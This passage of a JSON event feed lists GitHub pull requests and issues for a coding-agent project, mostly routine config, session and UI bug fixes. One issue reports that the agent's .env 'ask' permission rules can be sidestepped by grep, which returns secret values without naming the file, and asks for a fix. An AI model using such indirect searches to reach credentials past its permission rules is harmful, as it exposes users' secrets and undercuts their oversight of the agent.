          "text": "### Issue for this PR Closes #41973 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The v2 config loading path in `packages/core/src/config.ts` reads config files and parses them as JSONC without applying `{file:}` and `{env:}` variable substitution. The v1 path in `packages/opencode/src/config/config.ts` calls `ConfigVariable.substitute()` on the raw text before parsing. Through `opencode run` and the TUI (v1 path), `{file:/tmp/demo.key}` is resolved and the provider authenticates. Through `opencode serve` (v2 path), the literal string `{file:/tmp/demo.key}` ends up as the API key, causing 401s. This PR adds an Effect-based `substitute()` function in `packages/core/src/config/variable.ts` that handles `{env:VAR}` and `{file:path}` substitutions, and calls it in `loadFile()` before JSONC parsing. The implementation mirrors the v1 substitution logic: supports `~/` expansion, relative paths (relative to the config file), skips substitution inside `//` line comments, and trims file content. ### How did you verify your code works? Added 5 tests to `config.test.ts` covering: `{file:}` with relative paths, `{env:}` substitution, `//` comment skipping, `{file:}` with absolute paths, and `{file:}` content containing JSON-special characters (quotes, backslashes, newlines). 20/20 tests pass, typecheck clean, prettier clean. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42178",
          "createdAt": "2026-08-12T23:29:44Z",
          "updatedAt": "2026-08-12T23:32:49Z",
          "timestamp": "2026-08-12T23:32:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:e23a3cc2d755cbccfdbf",
        "signalId": "github:anomalyco/opencode:pull_request:42176",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42176",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(session): set finish status on halted assistant message",
          "text": "### Issue for this PR Closes #42070 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When the session processor halts due to an error that isn't a ContextOverflow (e.g. an API error from the model), the assistant message gets `error` set but `finish` stays undefined. The prompt loop checks `finish` to decide whether to exit — with it undefined, the loop never terminates and the session appears stuck in compaction. The fix sets `finish = \"error\"` in the non-ContextOverflow branch of `halt()`, matching what the ContextOverflow branch already does. This is a one-line change in `processor.ts`. ### How did you verify your code works? Added `expect(handle.message.finish).toBe(\"error\")` to the existing test \"do not retry unknown json errors\" which exercises the exact error-halt path. 15/15 tests pass in `processor-effect.test.ts`, typecheck clean. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42176",
          "createdAt": "2026-08-12T23:27:35Z",
          "updatedAt": "2026-08-12T23:32:45Z",
          "timestamp": "2026-08-12T23:32:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:3d6334bd595a49468cb1",
        "signalId": "github:anomalyco/opencode:pull_request:42177",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42177",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(cli): dispose all instances on command exit",
          "text": "### Issue for this PR Closes #41841 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `opencode run --session <id> --dir <path>` can load a second InstanceContext via server middleware when the session's original directory differs from `--dir`. The CLI's finally block was calling `store.dispose(ctx)`, which only disposes the primary instance — the middleware-loaded instance is left running with its IPC server alive, so the process never exits. Changed `store.dispose(ctx)` to `store.disposeAll()` with a `logWarning` on failure (matching the pattern in `global-lifecycle.ts`). This ensures all instances loaded during the command are cleaned up. The JSDoc comment is updated to reflect the new behavior. `serve` and `web` commands are unaffected — they use `instance: false` and return before reaching the finally block. The TUI has its own disposal path. ### How did you verify your code works? Typecheck clean. Existing tests for `disposeAll` semantics in `instance.test.ts` (dedup, re-arm) remain green. The source-string assertion in `effect-cmd-instance-als.test.ts` still passes. ### Screenshots / recordings _N/A_ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/42177",
          "createdAt": "2026-08-12T23:28:38Z",
          "updatedAt": "2026-08-12T23:32:44Z",
          "timestamp": "2026-08-12T23:32:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "vladislav-miroshnikov",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:16743e925bc281a1b419",
        "signalId": "github:anomalyco/opencode:pull_request:41945",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41945",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): isolate workspace config state",
          "text": "### Issue for this PR Closes #41916 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Nested values merged from the global config cache could retain shared references. A plugin config hook mutating one workspace could therefore leak MCP configuration into workspaces loaded later by the same process. This returns a structured clone from `Config.getGlobal()` before workspace merging. Plugin hooks can still mutate their workspace config, while the global cache and other workspaces remain isolated. A regression test covers two workspaces loaded in the same process. ### How did you verify your code works? - `bun test test/config/config.test.ts --timeout 30000` — 97 passed - `bun x prettier --check src/config/config.ts test/config/config.test.ts` - `git diff --check` ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41945",
          "createdAt": "2026-08-12T04:05:31Z",
          "updatedAt": "2026-08-12T23:32:02Z",
          "timestamp": "2026-08-12T23:32:02Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "Nath-Vikky",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:0253befe0555a9f9fc6a",
        "signalId": "github:anomalyco/opencode:pull_request:41683",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41683",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): refresh task resume permissions",
          "text": "### Issue for this PR Closes #41681 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? When a queued `task_id` resume starts under a different subagent, atomically refresh its stored agent and Task-owned permission rules before prompting it. Rules derived for the previous agent are replaced, while current parent ceilings and child-specific restrictions are preserved. Permission rules do not currently carry provenance, so the refresh removes one matching old-derived copy and conservatively keeps unmatched or duplicate restrictions. ### How did you verify your code works? - Added red/green coverage for sequential and queued agent switches. - `bun test test/tool/task.test.ts` (22 pass) - `bun test test/agent/plan-mode-subagent-bypass.test.ts` (5 pass) - `tsgo --noEmit` in `packages/opencode` - Prettier check and targeted oxlint (0 errors) ### Screenshots / recordings Not applicable (no UI change). ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/41683",
          "createdAt": "2026-08-11T06:20:26Z",
          "updatedAt": "2026-08-12T23:31:39Z",
          "timestamp": "2026-08-12T23:31:39Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "Nath-Vikky",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:8ed5d60a87db3412b869",
        "signalId": "github:anomalyco/opencode:pull_request:42173",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42173",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): conservative shell permission fallback when tree-sitter assets cannot load",
          "text": "## What Keep shell execution usable when tree-sitter parser assets cannot load, such as in workerd runtimes without filesystem-backed assets. Permission analysis falls back to one conservative command resource instead of failing the scan. ## How Capture parser loading with `Effect.exit`. On failure, return the full command as the resource, derive the reusable save prefix from the existing token arity logic, and report no directories. ## Scope Only changes the parser-load failure path in `packages/core/src/shell/parse.ts`. Successful parser loading and detailed command/directory extraction are unchanged. ## Testing - `bun run test test/shell-parse.test.ts test/permission.test.ts` (16 passed) - `bun typecheck` in `packages/core` - Push hook workspace typecheck (34 tasks passed) No direct failure-path test was added because the loader is a closed module-level singleton; injecting a load failure would require production refactoring beyond this focused fallback.",
          "url": "https://github.com/anomalyco/opencode/pull/42173",
          "createdAt": "2026-08-12T23:22:50Z",
          "updatedAt": "2026-08-12T23:26:30Z",
          "timestamp": "2026-08-12T23:26:30Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:80b8b0096bf71e8753fe",
        "signalId": "github:anomalyco/opencode:issue:17073",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:17073",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Protect .env files in grep/glob results, not just direct read",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request ## Problem Permission rules for `grep` and `glob` match the search pattern, not the matched file path. So this config: ```json \"grep\": { \"*.env\": \"ask\" }, \"glob\": { \"*.env\": \"ask\" }, \"read\": { \"*.env\": \"ask\" } ``` protects direct `read` calls, but does NOT protect against indirect exposure via `grep \"SOME_KEY\" .`, which can still return sensitive matches from `.env` without ever naming it. ## Repro 1. Add `TEST_DB_URL=sensitive-value` to `.env` 2. Use the config above 3. Run: `grep \"TEST_DB_URL\" .` 4. OpenCode still returns matches from `.env` ## Expected Blocked files should be filtered from `grep` and `glob` results before the model sees them, the same way direct `read` protection works. ## Prior art - [`opencode-env-protect`](https://github.com/aptdnfapt/opencode-env-protect) redacts env values from tool output after execution (The redaction part happens on `tool.execute.after`, where it replaces sensitive values in tool outputs before the AI sees them.) - `opencode-ignore` already claims to filter blocked files from `grep`/`glob` results Both plugins prove this is achievable natively. ## Request 1. Make `grep`/`glob` filter results by matched file path, not just the query pattern 2. Or add built-in secret file protection for `.env`, private keys, and credential files 3. At minimum, document that `read` path rules do NOT cover `grep`/`glob` Related: #539",
          "url": "https://github.com/anomalyco/opencode/issues/17073",
          "createdAt": "2026-03-11T18:15:26Z",
          "updatedAt": "2026-08-12T23:20:12Z",
          "timestamp": "2026-08-12T23:20:12Z",
          "metrics": {
            "reactions": 5,
            "comments": 6
          },
          "labels": [],
          "author": "raymelon",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:63d68d7b43cf5c535eea",
        "signalId": "github:anomalyco/opencode:issue:33027",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:33027",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[BUG] MCP tools connected but not exposed to agent",
          "text": "### Description # [BUG] MCP tools connected but not exposed to agent ## Description MCP server `pdfrag` connects successfully and exposes 6 tools via `tools/list`, but the tools do not appear in the agent's available tool list. The server is working correctly (responds to MCP protocol, tools are valid), but something in the opencode pipeline isn't passing those tools to the agent. ## Steps to Reproduce 1. Create a custom MCP server (Python, stdio transport) 2. Register in `~/.config/opencode/opencode.json`: ```json \"mcp\": { \"pdfrag\": { \"type\": \"local\", \"command\": \"/Library/Frameworks/Python.framework/Versions/3.14/bin/pdfrag-mcp\" } } ``` 3. Run `opencode mcp list` → shows \"connected\" with green checkmark 4. Start opencode session → tools NOT available to agent ## Expected Behavior MCP tools should be available as first-class tools in the agent session after successful connection. ## Actual Behavior - Server connects successfully - `opencode mcp list` shows \"connected\" - MCP protocol handshake works (initialize, tools/list returns 6 valid tools) - Tools do NOT appear in agent's available tool list - Agent cannot call MCP tools ## Investigation 1. **Server works correctly**: Verified with Python MCP client - server responds to `initialize`, `tools/list`, and tool calls 2. **Server format matches working servers**: Compared with `token-optimizer` and `lean-ctx` servers - same structure, capabilities, and tool definitions 3. **No error logs**: opencode logs show no errors related to pdfrag 4. **opencode binary is compiled**: Cannot inspect source directly, but binary analysis shows MCP tool registration code exists ## Similar Issue Found similar issue on hermes-agent: [#41625](https://github.com/NousResearch/hermes-agent/issues/41625) - \"MCP tools discovered but not exposed to agent in TUI mode\" The suspected cause there is a race condition in the TUI startup path with a timeout that's too short for MCP discovery. ## Environment - OpenCode version: 1.17.8 - OS: macOS (darwin) - Python: 3.14 - MCP transport: stdio (local subprocess) ## Workaround Use CLI or Python direct calls: ```bash python3 pdf_rag.py query \"question\" ``` ## Request Please investigate why MCP tools are not being exposed to the agent despite successful connection. This may be related to: - Race condition in tool discovery (similar to hermes-agent #41625) - Tool filtering logic - Agent tool context initialization ### Plugins _No response_ ### OpenCode version _No response_ ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System _No response_ ### Terminal _No response_",
          "url": "https://github.com/anomalyco/opencode/issues/33027",
          "createdAt": "2026-06-19T20:09:41Z",
          "updatedAt": "2026-08-12T23:19:22Z",
          "timestamp": "2026-08-12T23:19:22Z",
          "metrics": {
            "reactions": 3,
            "comments": 7
          },
          "labels": [],
          "author": "userX570",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:fbbbbed3ba4c48ef4878",
        "signalId": "github:anomalyco/opencode:issue:42146",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42146",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode not responding",
          "text": "you know the bdddd sound, every time i message big pickle or any other model the sound appears and the ai doesnt respond to me. please fix this",
          "url": "https://github.com/anomalyco/opencode/issues/42146",
          "createdAt": "2026-08-12T20:48:26Z",
          "updatedAt": "2026-08-12T23:14:48Z",
          "timestamp": "2026-08-12T23:14:48Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "kingjoeishere",
          "state": "closed",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:4b61d501f182d3b3acfc",
        "signalId": "github:anomalyco/opencode:issue:42172",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42172",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Catalog feedback] Session picker",
          "text": "## Feedback The Ctrl-A shortcut in the bottom right is misaligned. Fix this ## Catalog state - Screen: `session-picker` - Theme: `opencode` - Link: https://dev.opencode.ai/lab/catalog?mode=ui-elements&surface=modal&screen=session-picker&set=opencode",
          "url": "https://github.com/anomalyco/opencode/issues/42172",
          "createdAt": "2026-08-12T22:59:25Z",
          "updatedAt": "2026-08-12T22:59:25Z",
          "timestamp": "2026-08-12T22:59:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "catalog",
            "design-feedback"
          ],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:85768e25b309a9722793",
        "signalId": "github:anomalyco/opencode:issue:42170",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42170",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Desktop fails to load sessions: no such column: project_id",
          "text": "### Description Desktop 1.18.17 dies on launch while loading sessions. The sidecar returns 500 from `Project.migrateProjectId`: ``` Error: no such column: project_id ``` Some builds replaced the `workspace` table with a provider/binding schema and dropped `project_id`. Current `dev` still remaps project IDs with `UPDATE workspace SET project_id = ...`, which fails and takes the renderer down. ### Plugins _No response_ ### OpenCode version 1.18.17 ### Steps to reproduce 1. Have an OpenCode DB whose `workspace` table has `provider`/`binding` and no `project_id` (after a build that ran the workspace-domain migration). 2. Open Desktop 1.18.17 / current `dev`. 3. Session load returns 500 and the app shows a fatal renderer error. ### Screenshot and/or share link _No response_ ### Operating System macOS ### Terminal Desktop app",
          "url": "https://github.com/anomalyco/opencode/issues/42170",
          "createdAt": "2026-08-12T22:45:31Z",
          "updatedAt": "2026-08-12T22:49:59Z",
          "timestamp": "2026-08-12T22:49:59Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "DatScreamer",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:99a563b5c2eb5649048c",
        "signalId": "github:anomalyco/opencode:issue:42140",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42140",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "he pagado suscripcion y no continua proyecto",
          "text": "dice siempre Free usage exceeded, subscribe to Go pero yo he pagado la suscripcion",
          "url": "https://github.com/anomalyco/opencode/issues/42140",
          "createdAt": "2026-08-12T20:19:57Z",
          "updatedAt": "2026-08-12T22:45:15Z",
          "timestamp": "2026-08-12T22:45:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "fachosferanews-ai",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:64c6f5c655fb7191509d",
        "signalId": "github:anomalyco/opencode:issue:42145",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42145",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "I cant open a new session for some weird reason",
          "text": "I updated it and also blacks out the new session thing, i also updated it",
          "url": "https://github.com/anomalyco/opencode/issues/42145",
          "createdAt": "2026-08-12T20:42:43Z",
          "updatedAt": "2026-08-12T22:45:13Z",
          "timestamp": "2026-08-12T22:45:13Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "EquinoXV2",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:1a09ebd62da6294990e2",
        "signalId": "github:anomalyco/opencode:issue:42168",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42168",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Models like Nemotron 3 Ultra are very slow",
          "text": "### Description Whenever I go on OpenCode to do my daily developing, I am happy with the idea and view, but the model speed makes me upset. ## Main Issue I select `nvidianemotron-3-ultra-550b-a55b` via the NVIDIA endpoint and begin my work. Usually, my first message does not go far. Maybe it does 5 tool calls and then quits, which is a big issue because I may be doing IRL tasks while I believe it is working. Or, when I give another prompt and it works for a while, it can take 45+ minutes even for small changes. Usually, when working, it is very slow, even though messages come through fast. ## How I Know It Is OpenCode and Not the Model When using different applications (not going to specify unless asked due to advertising) (agent development environments) that are almost identical to OpenCode, I use the same model and provider. It is just much faster, with an average of 91.1% less time (4 minutes) for minor changes. ## How It Affects Me and Others When I need to implement something quickly, this really throws off my day and actually makes me want to no longer use the app. This is likely an issue for many other users as well. ## Thank You I ask that you please look into and fix this as soon as possible so I can have a much better experience. ### Plugins N/A ### OpenCode version 1.18.16 (Happens throughout all versions) ### Steps to reproduce 1. Make the current code use the same system prompting/effect while significantly lowering the amount of input sent to the model. 2. Make tools and other features easier and faster for the AI to access and use. 3. Cut down unnecessary context, tool output, and system information being sent with each request. 4. Improve the agent loop so there is less overhead between tool calls and model responses. 5. Prevent the agent from stopping after only a few tool calls when it still has work left to do. 6. Improve context handling for larger projects so the model does not have to process the entire project repeatedly. 7. Reduce the amount of processing OpenCode does around each request so the same model can perform closer to its speed in other agent environments. ### Screenshot and/or share link <img width=\"1362\" height=\"197\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/a8c78bcb-ca45-4430-bf2a-bcf2371cc342\" /> This issue does not have many screenshots due to the confidentiality of my chats. I apologize for the lack of media. ### Operating System Microsoft Windows 11 Pro | Version 10.0.26200 | Build 26200 | 64-bit ### Terminal Windows Terminal,PowerShell,GIT Bash",
          "url": "https://github.com/anomalyco/opencode/issues/42168",
          "createdAt": "2026-08-12T22:41:40Z",
          "updatedAt": "2026-08-12T22:43:07Z",
          "timestamp": "2026-08-12T22:43:07Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "elijahshepherd",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:65526edce54f055fcc9e",
        "signalId": "github:anomalyco/opencode:pull_request:27554",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:27554",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(opencode): local LAN provider discovery + auto-discover models",
          "text": "### Issue for this PR Closes #6231 Closes #27553 ### Type of change - [x] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? - Adds `Local (LAN)` discovery in `/connect` for local OpenAI-compatible servers. - Combines mDNS, localhost probing, and bounded LAN probing to find reachable local instances. - Lets users add discovered providers in bulk and marks already configured entries. - Shows if local providers are online or offline - Auto-discovers models for OpenAI-compatible providers from `/models`, including limits like context window and max output tokens when available. - Compatible with and preserves manually configured/edited providers and models and respects `discoverModels: true|false`. - Adds context `current / context_length` when available (see llama-swap PR below) to Context in sidebar and footer. - Fixes unrelated bugs introduced by rebase, --agent parameter would crash opencode. ### Related Server-side companion: [mostlygeek/llama-swap#755](https://github.com/mostlygeek/llama-swap/pull/755) adds `context_length` and `max_output_tokens` to the `/v1/models` response. When those fields are present, this PR reads them to configure each model's context window and output token limits automatically — no manual config needed. ### How did you verify your code works? - ` bun run typecheck` - `bun test test/provider/provider.test.ts --timeout 30000` - `bun turbo typecheck` - Manually tested `/connect -> Local (LAN)` against multiple local OpenAI-compatible servers on localhost and LAN. ### Screenshots / recordings <img width=\"261\" height=\"86\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d1704986-3889-42a9-8bbd-22c50fc21907\" /> <img width=\"627\" height=\"350\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2ac10210-acf5-44ff-a2e3-92512e54dd1d\" /> <img width=\"200\" height=\"78\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d621dd0d-78ec-4797-aff3-56f06dbe49ac\" /> ### Provider config example ``` \"proxmox\": { \"npm\": \"@ai-sdk/openai-compatible\", \"name\": \"Proxmox\", \"options\": { \"baseURL\": \"http://192.168.1.123:8080/v1\", \"apiKey\": \"ollama\" }, \"discoverModels\": true }, ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/27554",
          "createdAt": "2026-05-14T14:35:11Z",
          "updatedAt": "2026-08-12T22:40:06Z",
          "timestamp": "2026-08-12T22:40:06Z",
          "metrics": {
            "reactions": 10,
            "comments": 6
          },
          "labels": [],
          "author": "androidand",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:4a1eb00147774a383eac",
        "signalId": "github:anomalyco/opencode:issue:3366",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:3366",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Mermaid rendering in chat",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Is there any interest in getting mermaid diagrams to render in the Chat UI?? I've found it to be really useful to ask opencode to diagram code flows or documented processes for me to understand them at a glance, but it tends to do that with ascii art. When I ask it to do it in mermaid it does, but the UI doesn't render it. It'd be useful to get it to natively support mermaid so I can more easily export those and put them into files or reminders. It's not critical since it's easy enough to get the LLM to go back and forth, but it'd be a nice feature IMO.",
          "url": "https://github.com/anomalyco/opencode/issues/3366",
          "createdAt": "2025-10-22T20:25:49Z",
          "updatedAt": "2026-08-12T22:36:35Z",
          "timestamp": "2026-08-12T22:36:35Z",
          "metrics": {
            "reactions": 29,
            "comments": 10
          },
          "labels": [
            "discussion"
          ],
          "author": "wreed4",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:ffbc92bcd0ad5aa0b82a",
        "signalId": "github:anomalyco/opencode:issue:42163",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42163",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[Desktop] Starts to cancel tasks with \"Not Found\"",
          "text": "OS: Windows 11 App: OpenCode Desktop Model: GLM 5.2 through Custom OpenAI-compatible provider Plugins: None OpenCode version: 1.18.17 Total Tokens: 56,323 out of 1,048,576 tokens Steps to reproduce: 1. Start chat 2. Assign a task like coding 3. Long code, like 1,350 to 1,950 lines of code It exits with the error \"Not Found\" and sometimes doesn't even start and instantly cancels with the same error. I'm not sure why it happens, but it's really annoying. AI was working fine at the beginning of the chat, but after some time it started doing this. Log files: [opencode-debug-20260812T220400.zip](https://github.com/user-attachments/files/31000108/opencode-debug-20260812T220400.zip) <img width=\"1361\" height=\"931\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8f7ad8a0-265a-45eb-bf2f-31a4b7df6c61\" /> <img width=\"1208\" height=\"466\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/f9d6fcf3-6f0a-44fa-9c81-d9b2f12846b7\" />",
          "url": "https://github.com/anomalyco/opencode/issues/42163",
          "createdAt": "2026-08-12T22:15:12Z",
          "updatedAt": "2026-08-12T22:30:17Z",
          "timestamp": "2026-08-12T22:30:17Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "Amega-CORE",
          "state": "open",
          "assignees": [
            "neriousy"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:dd246368312990f50afc",
        "signalId": "github:anomalyco/opencode:pull_request:42161",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42161",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(opencode): select Kimi prompt by provider",
          "text": "## Summary - select the Kimi system prompt for models served by the official Kimi and Moonshot providers - handle bare model IDs such as `k3` and `k3-256k` without relying on the model ID containing `kimi` - cover provider-based prompt selection with a regression test ## Checks - `bun test test/session/system.test.ts` (packages/opencode) - `bun typecheck` (packages/opencode; timed out under host contention after 120s) Requested by: @rekram1-node (Aiden Cline via Slack) Closes: #42059",
          "url": "https://github.com/anomalyco/opencode/pull/42161",
          "createdAt": "2026-08-12T22:07:51Z",
          "updatedAt": "2026-08-12T22:29:06Z",
          "timestamp": "2026-08-12T22:29:06Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:cbc8fcc80f1e9014c4d9",
        "signalId": "github:anomalyco/opencode:issue:42059",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42059",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Kimi prompt not applied to kimi-for-coding models k3 / k3-256k (falls back to default)",
